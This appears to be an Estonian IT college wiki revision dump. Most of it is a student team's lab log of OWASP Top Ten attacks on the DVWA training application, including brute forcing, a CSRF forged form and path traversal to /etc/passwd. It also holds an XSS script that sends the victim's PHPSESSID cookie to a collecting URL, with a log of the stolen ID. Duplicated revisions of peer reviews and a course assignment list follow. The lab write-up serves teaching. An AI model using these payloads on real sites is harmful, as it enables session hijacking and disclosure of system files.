Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

Security team

2012-03-28T11:34:24Z

Mallikso: /* Matise tegevus */

== 1. päev - Materjalidga tutvumine ==

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

A1: Injection - Urmo
A2: Cross-Site Scripting (XSS) - Alo
A3: Broken Authentication and Session Management - Sander
A4: Insecure Direct Object References - Alo
A5: Cross-Site Request Forgery (CSRF) - Taavi
A6: Security Misconfiguration - Matis
A7: Insecure Cryptographic Storage - Matis
A8: Failure to Restrict URL Access - Urmo
A9: Insufficient Transport Layer Protection - Taavi
A10: Unvalidated Redirects and Forwards - Sander

== 2. päev - Nõrkuste ja rünnete tundmaõppimine ja katsetamine==

=== Alo tegevus ===

=== Urmo tegevus ===

Kasutan BackTrack 5 R2 64bit Gnome ja Samurai CD 0.9.9 operatsioonisüsteeme katsetamaks ja uurimaks erinevate veebilehtede turvariskide ära kasutamist.

Pandud tööle Samurai ja kasutatud Damm Vurnelable Web Application'i.

==== Brute Force (DVWA) ====
Käsitsi välja uuritud login andmed:
kasutajanimi: admin
parool: password

Tekitatud sai ka password list faili pass.txt.

Kasutusel oli Firefox brauser, kuhu installisime plugin'a Fireforce.
Panime kasutajanimeks "admin" ja paroolilahtris parema klõpsuga valisin Fireforce menüüst Library, ning laadisin talle pass.txt faili sisse.
Küsiti veel, et mis teksti veebilehelt peab otsima, kui sisselogimine on ebaõnnestunud - selleks sai sõna "incorrect".
Määrata ära tuli ka, et mitu päringut sekundis tehakse ja selleks panime 10 aga kuna veebileht ei jõua sekundis nii palju ennast kuvada, siis oli päringute tegemise kiirus vähem kui 1päring/sekundis.

Töötavat tulemust me ei saanud, kuna õigest paroolist mindi üle pidevalt.

Kuna me seda lahendust ei saanud tööle, siis sai proovitud ka BurpSuite programmi.

Burpsuite v1.4 on Samurai WTF'il olemas juba sees ja saab kohe käima panna.

Programm on juba loomult keerulisem.
Burpsuite'iga tuleb panna käima proxy server localhost'is ja brauser määrata kasutama seda proxy serverit aadressil 127.0.0.1:8080.
Kui ligipääs on rünnatavale lehele on olemas, siis teha prooviks üks väär sisselogimine.
Läbi proxy serveri tuleb BurpSuite'ile kohale vastava veebilehe Header sisselogimise kohta.
Headeris tuleb payloadi positsioonid ära määrata, kuhu see hakkab nimekirja alusel igat sõna panema.
Payload'i positsioonideks Headeris on username ja password lahtrid ning nendesse jätta ainult 2 paragrahvi tähemärki.
Ründe stiiliks määrata Pitchfork.
Mõlema payloadi positioni kohta tuleb ära määrata sõnade listid, mida programm hakkab kasutama.
Optioniste alt tuleb üle kontrollida ka sõnad, mida jälgitakse ebaõnnestunud sisselogimiste korral ja lubaksid järgmisi katseid.
Kui listid sai ära määratud, siis sai panna menüüst käsu Intruder -> Start Attack, mis siis alustas rünnet.
Kahjuks ka see rünne ei toiminud teadmata põhjusel.
Proovitud sai ka lühemate nimekirjadega ja edutult.

Peale teise programmi kasutamist jõudsime järeldusele, et Brute Force ründest pole meil kasu ja ei aita eesmärki täita effektiivselt.
Dev-ÕISis on vastavad turvameetmed kasutusele võetud, mis takistab selle tegemist ehk avastamisel keelatakse 5-ks sisselogimine ära vastava teatega ja brute force programmidele ei tule vastavat sõna, mis tähendaks sisselogimise ebaõnnestumist ning annab valepositiivse.

Lõpptulemus: Arendusversioon ÕISist on ära turvatud BruteForce rünnete vastu sisselogimisel.

==== CSRF - Cross-site request forgery ====
Katsetamine toimub koos Taaviga.

Loome uue veebilehe, mis saadab aktiivse kasutaja alt käske edasi mõnele veebisaidile, mis usaldab autoriseeritud kasutajat.

Katse eesmärgiks on DVWA-s kasutaja parooli muutmine, niiet ta ise paneb meie veebilehel on oma praeguse parooli sisse ja Submit nupu vajutamisel saadetakse see koos peidetud väljadega (mis on varustatud uute paroolidega) DVWA parooli muutmise lehele ja tulemuseks on kasutaja muudetud parool.

Lõime uue faili - crosssite.txt

DVWA-s läksime lingile CSRF, kus saab sooritada parooli muutmist.
Võtsime lehe Source Code lahti
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.
Current Password lahtri jätsime samaks.
Ülejäänud kahe uue passwordi fieldi type'iks määrasime "Hidden" ja value'deks "admin".
Salvestasime faili ja käivitasime selle.
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna ".

Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.

=== Taavi tegevus ===

Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.

=== Matise tegevus ===
==== Reflected Cross Site Scripting (XSS) ====
<ul>
<li>Lehel on selline Form:</li>
<img src="Xsstesting.jpg"/>
Form väljastab : Hello „sisestatud nimi“
Easy puhul:
Saab sisestada textboxi skripti:
<script>
alert(document.cookie.match(/PHPSESSID=[^;\]+/));
</script>
Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.
Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID:
<script>
this.document.location.href = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);
</script>
Saab kohe enda veebiserveri logidest näha Session ID’d.
Näide logist:
/var/log/apache2/access.log
127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] "GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1" 404 404 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11"
Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.

=== Sanderi tegevus ===

SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).
==== Faili üleslaadimine: madal tase ====
<ul>
<li><b>DVWA Security</b> määrata: Low -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess</li>
Üleslaetavasse *.php faili saab kirjutada php koodi:
<?php var_dump($_REQUEST, $_SERVER); ?>
<li>Minnes üleslaetava *.php faili asukohta veebilehitsejas
http://dvwa/hackable/uploads/*.php
käivitatakse skript ja tagastatakse kõik küsitav:</li>
esimeses massiivis "PHPSESSID" ("2b1ae19446cfde009664f18df51b6ec1") ja turvatase "security" ("low");
teises "HTTP_COOKIE", milles on eelnevadki andmed; asukoht "PATH", "SERVER_SOFTWARE", "SERVER_NAME",
"SERVER_ADDR" ("127.42.84.1"), "SERVER_PORT" ("80"), "REMOTE_ADDR" ("127.42.84.1"), "REMOTE_PORT" ("53425") jpm.
</ul>

==== Faili üleslaadimine: keskmine tase ====
<ul>
<li><b>DVWA Security</b> määrata: Medium -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:</li>
http://dvwa/hackable/uploads/*.jpg
<li>Skripti käivitamiseks tuleb kasutada "?page=" ja faili asukoht:</li>
http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg
Kuvatakse php skripti tulemus.
Kommentaar: "?page=" kasutamine võetud menüüvalikust: <b>File Inclusion</b>
<li>"?page=" abil saab vaadata kasutajate nimesid:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd
<li>Paroole vaadata ei saa, selleks õigused puuduvad:</li>
http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow
</ul>

==== Faili üleslaadimine: kõrge tase ====
<ul>
<li><b>DVWA Security</b> määrata: High -> Submit</li>
<li>Valida: Upload</li>
<li>Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)</li>
Üleslaetavasse *.jpg faili saab kirjutada php koodi.</li>
<li>Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.</li>
<li>Skripti käivitamiseks ei piisa ka "?page=" kasutamisest. Igal juhul on vastus selline:</li>
ERROR: File not found!
<li>Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:</li>
http://www.motobit.com/util/base64-decoder-encoder.asp
<li>Moodustades loodud faili asukohast kood ja kasutades</li>
data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:
http://dvwa/hackable/uploads/*.jpg
</ul>

== 3. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== 4. päev ==

=== Alo tegevus ===

=== Urmo tegevus ===

=== Taavi tegevus ===

=== Matise tegevus ===

=== Sanderi tegevus ===

== Tegijad ==
Alo Konno<br>
Urmo Lihten<br>
Taavi Podžuks<br>
Matis Alliksoo<br>
Sander Saarm

File:Xsstesting.jpg

2012-03-28T11:33:02Z

Mallikso:

Talk:Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise

2011-10-17T15:58:51Z

Mallikso:

== Velmar Piibeleht ==
'''Sisu:''' On ära märgitud kõik hetkel rohkem kasutuses olevad Windowsi-d kuid oleks võinud rohkem välja tuua Windows XP driverite varundamisest kuna enamasti kasutatakse Win Xp-d vanematel raalidel kus ka vanem riistvara, mille drivereid netist aga nii kergelt leida ei pruugi ja vajadus driverite varundamisele on suurem. Windows Vista ja 7 on juba suhteliselt võimekad ise vajalikke drivereid leidma kuna windows update töötab üpriski adekvaadselt, enamasti vanema riistvaraga probleeme. Filerepository on küll hea võimalus kõiki drivereid korraga varundada kuid samas tänapäeval on pea kõikjal internet ning sellest tulenevalt ka uued driverid kättesaadavad ning alati on mõteks ju kasutada uusimaid töötavaid drivereid. Selle kasulikkus tuleb välja varem mainitud vanema või ka erilise riistvara kasutamisel. <br>
'''Kujundus:''' Esimene pilt kus toodud viide Device Managerile. Milleks minna ringiga kui saab otse? Windowsi märk ja kirjutada sisse Device Manager, sedagi ei pea lõpuni kirjutama. Aga see oli lihtsalt valge inimese tähelepanek kuidas asju lihtsamini teha. Üldiselt on jällegi selgeks tehtud ka võhikule, mis ongi ühe juhendi mõte.

Kokkuvõtvalt on kasulik kõigile kes ei leia oma riistvarale õigeid drivereid kuna on toodud ka välja võimalus kuidas otsida oma puuduva riistvara drivereid mida Windows Update ei leia ja mille tarkvara enam alles ei ole.

==Matis Alliksoo==
'''Sisu:'''
Sisu on hästi jälgitav ja korralik. Sisu on üles ehitatud selliselt, et ka arvutit vähem tundvad inimesed antud juhisega hakkama saaksid. Hästi on lisaks ka välja otsitud programme ja võimalusi asjade teistmoodi/erinevalt tegemiseks. PnPutiliti välja toomine on artiklile suureks plussiks.

'''Kujundus:'''
Kujundus näeb hea välja. Pildid on normaalse suurusega ja erinevad path'id ja command'id on eraldi kastides hästi välja toodud.

'''Juhendi kavaliteet:'''
Juhend on kvaliteetne Windows Vista või 7'me draiverite uuendamiseks ja sellega peaks hakkama saama iga kasutaja. Probleeme võib aga tekkida vanemate Windowsi versioonidega, sest pildid on kõik Windows 7/Vistaga.

'''Viitamine:'''
Viited on olemas ja enamus nendest on ka usaldusväärsed Microsofti leheküljed.

'''Eriti meeldis:'''
Kasulik ja hea näide Driveri otsimisest Riistvaralise ID'ga

Talk:Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise

2011-10-17T15:55:57Z

Mallikso:

== Velmar Piibeleht ==
'''Sisu:''' On ära märgitud kõik hetkel rohkem kasutuses olevad Windowsi-d kuid oleks võinud rohkem välja tuua Windows XP driverite varundamisest kuna enamasti kasutatakse Win Xp-d vanematel raalidel kus ka vanem riistvara, mille drivereid netist aga nii kergelt leida ei pruugi ja vajadus driverite varundamisele on suurem. Windows Vista ja 7 on juba suhteliselt võimekad ise vajalikke drivereid leidma kuna windows update töötab üpriski adekvaadselt, enamasti vanema riistvaraga probleeme. Filerepository on küll hea võimalus kõiki drivereid korraga varundada kuid samas tänapäeval on pea kõikjal internet ning sellest tulenevalt ka uued driverid kättesaadavad ning alati on mõteks ju kasutada uusimaid töötavaid drivereid. Selle kasulikkus tuleb välja varem mainitud vanema või ka erilise riistvara kasutamisel. <br>
'''Kujundus:''' Esimene pilt kus toodud viide Device Managerile. Milleks minna ringiga kui saab otse? Windowsi märk ja kirjutada sisse Device Manager, sedagi ei pea lõpuni kirjutama. Aga see oli lihtsalt valge inimese tähelepanek kuidas asju lihtsamini teha. Üldiselt on jällegi selgeks tehtud ka võhikule, mis ongi ühe juhendi mõte.

Kokkuvõtvalt on kasulik kõigile kes ei leia oma riistvarale õigeid drivereid kuna on toodud ka välja võimalus kuidas otsida oma puuduva riistvara drivereid mida Windows Update ei leia ja mille tarkvara enam alles ei ole.

==Matis Alliksoo==
'''Sisu:'''
Sisu on hästi jälgitav ja korralik. Sisu on üles ehitatud selliselt, et ka arvutit vähem tundvad inimesed antud juhisega hakkama saaksid. Hästi on lisaks ka välja otsitud programme ja võimalusi asjade teistmoodi/erinevalt tegemiseks.

'''Kujundus:'''
Kujundus näeb hea välja. Pildid on normaalse suurusega ja erinevad path'id ja command'id on eraldi kastides hästi välja toodud.

'''Juhendi kavaliteet:'''
Juhend on kvaliteetne Windows Vista või 7'me draiverite uuendamiseks ja sellega peaks hakkama saama iga kasutaja. Probleeme võib aga tekkida vanemate Windowsi versioonidega, sest pildid on kõik Windows 7/Vistaga.

'''Viitamine:'''
Viited on olemas ja enamus nendest on ka usaldusväärsed Microsofti leheküljed.

'''Eriti meeldis:'''
Kasulik ja hea näide Driveri otsimisest Riistvaralise ID'ga

Talk:Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise

2011-10-17T15:53:15Z

Mallikso:

== Velmar Piibeleht ==
'''Sisu:''' On ära märgitud kõik hetkel rohkem kasutuses olevad Windowsi-d kuid oleks võinud rohkem välja tuua Windows XP driverite varundamisest kuna enamasti kasutatakse Win Xp-d vanematel raalidel kus ka vanem riistvara, mille drivereid netist aga nii kergelt leida ei pruugi ja vajadus driverite varundamisele on suurem. Windows Vista ja 7 on juba suhteliselt võimekad ise vajalikke drivereid leidma kuna windows update töötab üpriski adekvaadselt, enamasti vanema riistvaraga probleeme. Filerepository on küll hea võimalus kõiki drivereid korraga varundada kuid samas tänapäeval on pea kõikjal internet ning sellest tulenevalt ka uued driverid kättesaadavad ning alati on mõteks ju kasutada uusimaid töötavaid drivereid. Selle kasulikkus tuleb välja varem mainitud vanema või ka erilise riistvara kasutamisel. <br>
'''Kujundus:''' Esimene pilt kus toodud viide Device Managerile. Milleks minna ringiga kui saab otse? Windowsi märk ja kirjutada sisse Device Manager, sedagi ei pea lõpuni kirjutama. Aga see oli lihtsalt valge inimese tähelepanek kuidas asju lihtsamini teha. Üldiselt on jällegi selgeks tehtud ka võhikule, mis ongi ühe juhendi mõte.

Kokkuvõtvalt on kasulik kõigile kes ei leia oma riistvarale õigeid drivereid kuna on toodud ka välja võimalus kuidas otsida oma puuduva riistvara drivereid mida Windows Update ei leia ja mille tarkvara enam alles ei ole.

==Matis Alliksoo==
'''Sisu:'''
Sisu on hästi jälgitav ja korralik. Sisu on üles ehitatud selliselt, et ka arvutit vähem tundvad inimesed antud juhisega hakkama saaksid. Hästi on lisaks ka välja otsitud programme ja võimalusi asjade teistmoodi/erinevalt tegemiseks.

'''Kujundus:'''
Kujundus näeb hea välja. Pildid on normaalse suurusega ja erinevad path'id ja command'id on eraldi kastides hästi välja toodud.

'''Juhendi kavaliteet:'''
Juhend on kvaliteetne Windows Vista või 7'me draiverite uuendamiseks ja sellega peaks hakkama saama iga kasutaja. Probleeme võib aga tekkida vanemate Windowsi versioonidega.

'''Viitamine:'''
Viited on olemas ja enamus nendest on ka usaldusväärsed Microsofti leheküljed.

'''Eriti meeldis:'''
Kasulik ja hea näide Driveri otsimisest Riistvaralise ID'ga

Talk:Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise

2011-10-17T15:48:24Z

Mallikso:

== Velmar Piibeleht ==
'''Sisu:''' On ära märgitud kõik hetkel rohkem kasutuses olevad Windowsi-d kuid oleks võinud rohkem välja tuua Windows XP driverite varundamisest kuna enamasti kasutatakse Win Xp-d vanematel raalidel kus ka vanem riistvara, mille drivereid netist aga nii kergelt leida ei pruugi ja vajadus driverite varundamisele on suurem. Windows Vista ja 7 on juba suhteliselt võimekad ise vajalikke drivereid leidma kuna windows update töötab üpriski adekvaadselt, enamasti vanema riistvaraga probleeme. Filerepository on küll hea võimalus kõiki drivereid korraga varundada kuid samas tänapäeval on pea kõikjal internet ning sellest tulenevalt ka uued driverid kättesaadavad ning alati on mõteks ju kasutada uusimaid töötavaid drivereid. Selle kasulikkus tuleb välja varem mainitud vanema või ka erilise riistvara kasutamisel. <br>
'''Kujundus:''' Esimene pilt kus toodud viide Device Managerile. Milleks minna ringiga kui saab otse? Windowsi märk ja kirjutada sisse Device Manager, sedagi ei pea lõpuni kirjutama. Aga see oli lihtsalt valge inimese tähelepanek kuidas asju lihtsamini teha. Üldiselt on jällegi selgeks tehtud ka võhikule, mis ongi ühe juhendi mõte.

Kokkuvõtvalt on kasulik kõigile kes ei leia oma riistvarale õigeid drivereid kuna on toodud ka välja võimalus kuidas otsida oma puuduva riistvara drivereid mida Windows Update ei leia ja mille tarkvara enam alles ei ole.

==Matis Alliksoo==
'''Sisu:'''
Sisu on hästi jälgitav ja korralik. Sisu on üles ehitatud selliselt, et ka arvutit vähem tundvad inimesed antud juhisega hakkama saaksid. Hästi on lisaks ka välja otsitud programme ja võimalusi asjade teistmoodi/erinevalt tegemiseks.

'''Kujundus:'''
Kujundus näeb hea välja. Pildid on normaalse suurusega ja erinevad path'id ja command'id on eraldi kastides hästi välja toodud.

'''Juhendi kavaliteet:'''

'''Viitamine:'''

'''Eriti meeldis:'''
Kasulik ja hea näide Driveri otsimisest Riistvaralise ID'ga

Windows-tööjaamade haldamise aines valminud referaadid 2011 sügis, päevaõpe

2011-10-17T15:40:38Z

Mallikso: /* Matis Alliksoo */

=Jaan Igamees=
* Referaat: [[MiskiAsjalikTeema]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:VHD_Boot
* Arvustus2:
=Silver Kullarand=
* Referaat: [[SmartScreen Filter]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Dynamic_disk
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_8_-_mida_uut

=Tambet Liiv=
* Referaat: [[Boot Configuration Data]]
* Arvustus1:
* Arvustus2:

= Kristjan Rõõm =
* Referaat: [[Security zones]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:VHD_Boot
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:SmartScreen_Filter

= Viljar Rooda =
* Referaat: [[Dynamic disk]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Security_zones
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:SmartScreen_Filter

= Virgo Krüger =
*Referaat: [[Windows juhend: Kuidas tõsta seadmete draivereid ühes arvutist teise]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Resource_Monitor
*Arvutus2: https://wiki.itcollege.ee/index.php/Talk:PnPUtil

=Tarmo Suurmägi=
* Referaat: [[System Configuration Tool]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_7_Upgrade_Advisor
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:System_restore_point

=Sander Saveli=
* Referaat: [[Skydrive]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Draiverite_haldus_Windows_7_operatsioonis%C3%BCsteemis
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DirectAccess

=Oliver Naaris=
* Referaat: [[Offline files]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Snipping_Tool
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Sysprep

=Sander Arnus=
* Referaat: [[Sysprep]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Skydrive
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_System_Image_Manager

=Sander Pikhoff=
* Referaat: [[GPT]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Reliability_Monitor
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DirectAccess

=Henry Ilves=
* Referaat: [[Windows juhend: Kuidas ühele USB mäluseadmele korraga x86 ja x64 Windows 7 paigaldamiseks vajalik]]
* Arvustus1:
* Arvustus2:

=Teet Saar=
* Referaat: [[WAIK]]
* Arvustus1:
* Arvustus2:

=Urmo Lihten=
* Referaat: [[Windows juhend: Kuidas paigaldada uuendusi kujutisfaili DISM tööriista abil]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:System_Configuration_Tool
* Arvustus2:

=Rauno Lehiste=
* Referaat: [[MDT]]
* Arvustus1:
* Arvustus2:

=Kristo Kapten=
* Referaat: [[VHD Boot]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_%C3%BChele_USB_m%C3%A4luseadmele_korraga_x86_ja_x64_Windows_7_paigaldamiseks_vajalik
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_Defender

= Kullo-Kalev Aru =
* Referaat: [[TeamViewer]]
* Arvustus1:
* Arvustus2:

=Kalmer Tart=
* Referaat: [[Reliability Monitor]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Boot_Configuration_Data
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_User_State_Migration_Tool_%28USMT%29

=Priit Lilleleht=
* Referaat: [[Application Compatibility Toolkit]]
* Arvustus1:https://wiki.itcollege.ee/index.php/Talk:Math_Input_Panel
* Arvustus2:https://wiki.itcollege.ee/index.php/Talk:Disk_Defragmenter

=Sander Sülla=
* Referaat: [[Windows System Image Manager]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:MDT
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Snipping_Tool

=Kertu Tampõld=
* Referaat: [[Resource Monitor]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Remote_Assistance
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Application_Compatibility_Toolkit

=Nele Kiigemägi=
*Referaat: [[Remote Assistance]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Resource_Monitor
*Arvustus2: https://wiki.itcollege.ee/index.php/Talk:CHKDSK

=Kermo Pajula=
*Referaat: [[DirectAccess]]
*Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_8_NIC_Teaming
*Arvustus2:

=Robert Vane=
*Referaat: [[CHKDSK]]
*Arvustus1:
*Arvustus2:

=Alar Hansar=
* Referaat: [[GPO]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Draiverite_haldus_Windows_7_operatsioonis%C3%BCsteemis
* Arvustus2:

=Kaarel Väinaste=
* Referaat: [[Snipping Tool]]
* Arvustus1:
* Arvustus2:

=Ragnar Plint=
* Referaat: [[Program Compatibility Troubleshooter]]
* Arvustus1: [[Talk:AppLocker]]
* Arvustus2: [[Talk:DirectAccess]]

=Taavi Sannik=
* Referaat: [[DISKPART]]
* Arvustus 1: [[Talk:Windows_8_NIC_Teaming#Taavi_Sannik|Windows 8 NIC teaming]]
* Arvustus 2: [[Talk:CHKDSK#Taavi_Sannik|CHKDSK]]

=Priit Reidak=
* Referaat: [[Disk2vhd]]
* Arvustus1: [https://wiki.itcollege.ee/index.php/Talk:Windows_Defender Windows Defender]
* Arvustus2: [https://wiki.itcollege.ee/index.php/Talk:Boot_Configuration_Data BCD]

= Raigo Trei =
* Referaat: [[Windows 7 Upgrade Advisor]]
* Arvustus1:
* Arvustus2:

= Robert Pärn =
* Referaat: [[Special identity]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Dynamic_disk
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DISKPART

= Kristjan Karu =
* Referaat: [[Draiverite haldus Windows 7 operatsioonisüsteemis]]
* Arvustus1:
* Arvustus2:

=Iti Liivik=
* Referaat: [[Effective permissions]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Draiverite_haldus_Windows_7_operatsioonis%C3%BCsteemis
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Windows_7_Homegroup_and_sharing

=Dmitri Keler=
* Referaat: [[System restore point]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:Windows_8_-_mida_uut
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:DISKPART

=Jevgeni Pogodin=
* Referaat: [[FAT32]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:WAIK
* Arvustus2:

=Andres Pihlak=
* Referaat: [[Windows Virtual PC]]
* Arvustus1:
* Arvustus2:

=Deniss Ruzanov=
* Referaat: [[IPv6 võrguparameetrite seadistamine]]
* Arvustus1:
* Arvustus2:

=Martin Aarne=
* Referaat: [[Windows User State Migration Tool (USMT)]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:AppLocker#Martin_Aarne_D22
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:WAIK#Martin_Aarne_D22

=Matis Alliksoo=
* Referaat: [[Windows 8 NIC Teaming]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_Virtual_PC
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_t%C3%B5sta_seadmete_draivereid_%C3%BChes_arvutist_teise

= Richard Teppart =
* Referaat: [[Volume shadow copies]]
* Arvestus 1:
* Arvestus 2:

= Igor Pavlov =
* Referaat: [[Windows Defender]]
* Arvustus 1:
* Arvustus 2:

= Taavi Podzuks =
* Referaat: [[Windows juhend: Kuidas paigaldata täiendavaid (juur)sertfikaate]]
* Arvustus1: https://wiki.itcollege.ee/index.php?title=Talk:Windows_Virtual_PC&action=edit&section=2
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:BitLocker_To_Go

=Kersti Lang=
* Referaat: [[Windows 7]]
* Arvestus 1:
* Arvestus 2:

= Gert Häusler =
* Referaat: [[Windows Biometric Framework]]
* Arvestus 1:
* Arvestus 2:

= Erki Miilberg =
* Referaat: [[Windows operatsioonisüsteemi paigaldus]]
* Arvustus 1:
* Arvustus 2:

= Rasmus Tetsmann=
* Referaat: [[Windows 7 Homegroup and sharing]]
* Arvustus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_8_-_mida_uut
* Arvustus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_juhend:_Kuidas_%C3%BChele_USB_m%C3%A4luseadmele_korraga_x86_ja_x64_Windows_7_paigaldamiseks_vajalik

= Lauri Rüütli =
* Referaat: [[Windows juhend: Kuidas paigaldada täiendavaid draivereid]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:DISKPART
* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:WAIK

= Taavi Zeiger =
* Referaat: [[Disk Defragmenter]]
* Arvustus1: https://wiki.itcollege.ee/index.php/Talk:CHKDSK
* Arvustus2: https://wiki.itcollege.ee/index.php/Talk:Offline_files

= Kimmo Lillipuu =
* Referaat: [[Windows Remote Management]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Windows_7
* Arvestus 2: https://wiki.itcollege.ee/index.php/Talk:Windows_operatsioonisüsteemi_paigaldus

= Heigo Punapart =
* Referaat: [[Incremental backup]]
* Arvestus 1: https://wiki.itcollege.ee/index.php/Talk:Sysprep
